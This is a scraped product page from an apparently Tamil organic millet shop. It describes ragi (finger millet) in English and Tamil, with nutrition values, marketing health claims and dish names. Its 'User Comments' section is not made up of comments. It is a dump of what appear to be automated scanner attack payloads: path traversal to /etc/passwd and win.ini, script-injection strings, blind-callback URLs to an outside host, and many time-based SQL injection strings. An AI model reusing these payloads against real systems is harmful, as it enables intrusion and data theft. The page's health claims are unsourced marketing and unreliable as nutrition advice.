Kelvaragu/Ragi
Published on Wed Jul 07, 2021
Overview:
Ragi ""The finger millet"" or kelvaragu in tamil is a whole grain gluten-free, it is rich in fibre that can be served for diabetes and weight. This is organically grown without any chemical fertilizers. This wonderful ragi is packed with calcium,good carbs , amino acids and vitamin D. Ragi is the first solid food for the babies above 6 months in south India.
Benefits:
1.Ragi is completely gluten free.
2.Good for diabetes.
3.Rich source of calcium (fulfils 49%ofyour body's daily required).
Nutritional Value: Based on 100g
Protein.................. 7.3g
Carbohydrate........ 72g
Fat.......................... 1.3g
Minerals................. 2.7g
Fiber....................... 3.6g
Calcium.................. 344mg
Phosphorus............ 283mg
Energy..................... 354kcal
Cookery:
1.Ragi And milk Porridge.
2.Ragi masala Roti.
3.Ragi Halwa.
4.Ragi Dosa.
கண்ணோட்டம்:
ராகி அல்லது தமிழில் கேழ்வரகு ஒரு முழுதானியம் பசையம் இல்லாதது,நார்ச்சத்து நிறைந்தது. இது ரசாயன உரங்கள் இல்லாமல் இயற்கை முறையில் வளர்க்கப்படுகிறது. இந்த அற்புதமான ராகி கால்சியம், நல்ல கார்போஹைட்ரேட், அமினோ அமிலங்கள் மற்றும் வைட்டமின் டி ஆகியவற்றால் நிரம்பியுள்ளது. தென்னிந்தியாவில் 6 மாதங்களுக்கும் மேலான குழந்தைகளுக்கு ராகி முதல் திட உணவு.
பலன்கள்:
1.ராகி முற்றிலும் பசையம் இல்லாதது.
2.சர்க்கரை நோய்க்கு நல்லது.
3. கால்சியத்தின் வளமான ஆதாரம் (உங்கள் உடலின் தினசரி தேவையில் 49% பூர்த்தி செய்கிறது).
Nutritional Value: Based on 100g
Protein.................. 7.3g
Carbohydrate........ 72g
Fat.......................... 1.3g
Minerals................. 2.7g
Fiber....................... 3.6g
Calcium.................. 344mg
Phosphorus............ 283mg
Energy..................... 354kcal
சமையல்: 1.ராகி மற்றும் பால் கஞ்சி. 2.ராகி மசாலா ரொட்டி. 3.ராகி அல்வா. 4.ராகி தோசை.
Irumbu Cholam/Irungu Cholam
Irumbu Cholam/Irungu cholam irumbu means "iron" this millet is rich in iron con…
Thenai/Foxtail Millet
Thenai/Foxtail Millet is packed with fiber, phosphorus, iron, other vitamins an…
Kollu/ Horse Gram
Kollu/Horse Gram is the most -protein rich food found in the planet.It is high …
User Comments
bxss.me
c:/windows/win.ini
../../../../../../../../../../../../../../etc/shells
/etc/shells
http://bxss.me/t/fit.txt?.jpg
Http://bxss.me/t/fit.txt
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
9563250
'"()&%<zzz><ScRiPt >QZaa(9863)</ScRiPt>
'"()&%<zzz><ScRiPt >QZaa(9427)</ScRiPt>
ctime sleep p0 (I30 tp1 Rp2 .
../
file:///etc/passwd
^(#$!@#$)(()))******
../../../../../../../../../../../../../../windows/win.ini
!(()&&!|*|*|
../../../../../../../../../../../../../../etc/passwd
)
@@pVi3B
����%2527%2522\'\"
'"
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5OSgXlEz')) OR 946=(SELECT 946 FROM PG_SLEEP(15))--
49JDwBlE') OR 652=(SELECT 652 FROM PG_SLEEP(15))--
PQYNXvk2' OR 119=(SELECT 119 FROM PG_SLEEP(15))--
-1)) OR 993=(SELECT 993 FROM PG_SLEEP(15))--
-1) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
-1 OR 399=(SELECT 399 FROM PG_SLEEP(15))--
U2EvIhbw'))
5ZeQmXAT')
NsoMc7wZ'
-1 waitfor delay '0:0:15' --
-1))
-1)
-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
*if(now()=sysdate(),sleep(15),0)
-1" OR 2+150-150-1=0+0+0+1 --
-1' OR 2+627-627-1=0+0+0+1 or '9vY3UH3K'='
-1' OR 2+190-190-1=0+0+0+1 --
-1 OR 2+333-333-1=0+0+0+1
-1 OR 2+465-465-1=0+0+0+1 --